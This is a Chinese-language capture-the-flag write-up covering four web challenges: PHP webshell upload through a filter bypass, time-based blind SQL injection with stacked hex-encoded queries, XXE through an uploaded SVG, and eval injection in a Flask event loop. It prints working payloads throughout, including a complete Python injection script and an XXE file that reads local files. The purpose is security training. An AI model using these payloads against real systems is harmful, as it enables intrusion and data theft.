[红明谷CTF 2021]write_shell 首先是check函数过滤了一些字符
function check ($input ) { if (preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i" ,$input)){ die ('hacker!!!' ); }else { return $input; } }
如果传入的是数组,那么就会进行foreach再对其键值进行check函数的过滤
function waf ($input ) { if (is_array($input)){ foreach ($input as $key=>$output){ $input[$key] = waf($output); } }else { $input = check($input); } }
经过waf后的内容将会被传入index.php中
case 'upload': $data = $_GET["data"] ?? ""; waf($data); file_put_contents("$dir" . "index.php", $data);
现在需要想的就是如何构造shell,过滤了php我们可以使用短标签进行绕过,过滤了 过滤了php我们可以使用.进行连接,过滤了空格,我们可以使用括号进行绕过,
/?action=upload&data=<?= (ph.pinfo)()?>
绕过成功
/?action=upload&data=<?= `ls%09 /`?>
接下来就是cat它就好了
[SWPU2019]Web4 测试了一下 发现是堆叠注入,但是没有输出回显信息,也不符合布尔盲注的条件
那就要考虑一下时间盲注了,接下来构造一下语句,尝试了一下select sleep(5),发现没有反应,猜测存在过滤,堆叠注入的绕过有一个预处理,可以采取使用concat连接的方式进行绕过
但是由于不确定都过滤了那些内容,虽然可以使用延迟进行fuzz,但是有点麻烦,可以直接采用十六进制转码的形式进行绕过
import requestsimport jsonimport timedef main (): url = '''http://5c6e0550-a9af-461f-8eda-50bc9d0086f0.node4.buuoj.cn/index.php?r=Login/Login''' payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -" flag = '' for i in range(1 ,30 ): payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)" for j in range(0 ,128 ): datas = {'username' :payloads.format(str_to_hex(payload.format(i,j))),'password' :'test213' } data = json.dumps(datas) times = time.time() res = requests.post(url = url, data = data) if time.time() - times >= 3 : flag = flag + chr(j) print(flag) break def str_to_hex (s ): return '' .join([hex(ord(c)).replace('0x' , '' ) for c in s]) if __name__ == '__main__' : main()
这个是网上大神的脚本,我的好像出了点问题,没跑出来–得到glzjin_wants_a_girl_friend.zip里面是源码,接下来审计一下: 打开controllers进行审计,可以发现basecontrollers中,有文件包含,那么我看看这个viewData是用extract() 函数从数组中将变量导入到当前的符号表。如果可以控制这个viewdata,那么就可以实现变量覆盖了
class BaseController { private $viewPath; public function loadView ($viewName ='' , $viewData = [] ) { $this ->viewPath = BASE_PATH . "/View/{$viewName} .php" ; if (file_exists($this ->viewPath)) { extract($viewData); include $this ->viewPath; } } }
而这个load方法只在user里面看到,并且listDAT是有request获得的
去userIndex里面查看一下这里的变量是img_file 理一下思路,我们可以使用extract需要变量覆盖,传入的值是也是可控的,用request,所以构造payload,首先我们得先到user这个路由这里
不过对于这个传值还是想研究一下,所以在phpstorm里面断点调试一下
为什么要是img,因为后面是这个变量的内容会回显在网页上,也就是这个图片
[BSidesCF 2019]SVGMagic 题目说将svg转为png,svg是用xml格式定义的图像,推测是xxe注入
在本地先编写一个svg文件
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg width ="2000" height ="100" > <text x ="100" y ="100" > &file; </text > </svg >
然后将其上传即可
[DDCTF 2019]homebrew event loop python源码审计
将event写入session函数
def trigger_event (event ): session['log' ].append(event) if len(session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type(event) == type([]): request.event_queue += event else : request.event_queue.append(event)
有三个points,0个num_items,但是不清楚有什么是写在session中的
这里num_items要大于等于5 flag就会被写入session
如果我们可以先买钻石,然后让flag被写入session中,然后再扣费,那就可以实现num_items大于等于5,可以看到这里有一个eval函数:
因为eval函数后面的参数可控所以
action:trigger_event%23;action:buy;5%23action:get_flag;
然后使用flask-session-manager-master解密session 即可获得flag